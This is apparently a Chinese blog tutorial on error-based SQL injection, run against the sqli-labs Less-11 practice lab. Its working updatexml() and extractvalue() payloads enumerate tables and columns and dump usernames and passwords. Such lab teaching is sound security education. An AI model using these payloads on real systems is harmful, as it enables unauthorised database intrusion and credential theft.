SQL手工盲注 - 报错回显

发布于:2023-09-28 ⋅ 阅读:(161) ⋅ 点赞:(0)

使用的软件:phpstudy(MySQL5.7.26,PHP5.3.29),sqli-labs靶场,Burp Suite,谷歌浏览器,win11

报错回显用到的函数

updatexml()

extractvalue()

靶场演练 

第一步-判断使用单引号闭合还是双引号闭合

第二步-猜解列名 

第三步-用extractvalue()函数盲注

第四步-查找表名

第五步-查找表内字段

第六步-获取字段内数据

补充

        updatexml()函数

        or


盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注,报错回显就是其中的一种

报错回显用到的函数

updatexml()

  • 从目标XML中更改包含所查询值的字符串
  • updatexml(XML_document,XPath_String,new_value);
    • 第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
    • 第二个参数:XPath_string(Xpath格式字符串)
    • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

extractvalue()

  • 从目标XML中返回包含所查询值的字符串
  • extractvalue(XML_document,XPath_String)
    • 第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
    • 第二个参数:XPath_String (Xpath格式字符串)

靶场演练 

演练靶场为sqli-labs/Less-11和extractvalue()函数为示范

第一步-判断使用单引号闭合还是双引号闭合

我们用符号('")来判断我们注入点的代码用什么符号闭合的,方便我们后续的注入

uname=zhangsan '" &passwd=123123&submit=Submit

第二步-猜解列名 

猜解列名我们会用到函数order by,在函数后面填写数字来猜解列名

uname=zhangsan' order by 3 --+&passwd=123123&submit=Submit

第三步-用extractvalue()函数盲注

还记得上面讲过extractvalue()函数有两个参数,其中一个是XPath_String (Xpath格式字符串),但我们在基于报错SQL盲注的时候,把参数入XPath格式的地方输入别的格式的方式进行注入

uname=zhangsan' union select 1,extractvalue(1,(select version())) --+&passwd=123123&submit=Submit

 但很显然版本没有完全展示出来,所以我们有用到另一个函数 concat()来让我们的信息显示全

uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select version()))) --+&passwd=123123&submit=Submit

 这里的0x7e是十六进制转换成十进制就是波浪号(~)

第四步-查找表名

这一步跟上一步一样在原本输入XPath格式的地方输入我们的SQL注入语句

uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select(table_name)from information_schema.tables where table_schema=database()))) --+&passwd=123123&submit=Submit

但很显然这里显示数据在1行以上,所以我们有会用到另一个函数Limit

uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select(table_name)from information_schema.tables where table_schema=database()limit 0,1),0x7e)) --+&passwd=123123&submit=Submit

 limit后面的0,1表示,从下标0开始那一位数据,看后面的表名那就把0改成1,以此类推下标

第五步-查找表内字段

从上一个步中找到我们要查询的表(比如users表),在盲注查找表内的字段

uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select(column_name)from information_schema.columns where table_name=0x7573657273  limit 0,1),0x7e)) --+&passwd=123123&submit=Submit

 0x7573657273是十六进制改回来就是users,是因为有些注入点只支持十六进制

第六步-获取字段内数据

通过上一步我们可以获取到表里有那些字段,在通过这些字段获取字段内的数据

uname=zhangsan' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password)from users))) --+&passwd=123123&submit=Submit

 

补充

        updatexml()函数

此函数的盲注方式跟extractvalue()函数一样,但就是多了一个参数而已

updatexml(XML_document,XPath_String,new_value);

uname=zhangsan' union select 1,updatexml(1,concat(0x7e,(select version())),1 ) --+&passwd=123123&submit=Submit

在原本第二参数的位置输入我们的SQL语句进行注入

注意:在第一 第二参数的位置的数字尽可能相同,不相同有时候会报错

        or

我们也可以用or进行注入

'or updatexml(1,concat(0x7e,database()),0)or'
' or extractvalue(1,concat(0x7e,database())) or'

注意:最后的or后面必须要用引号结尾

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到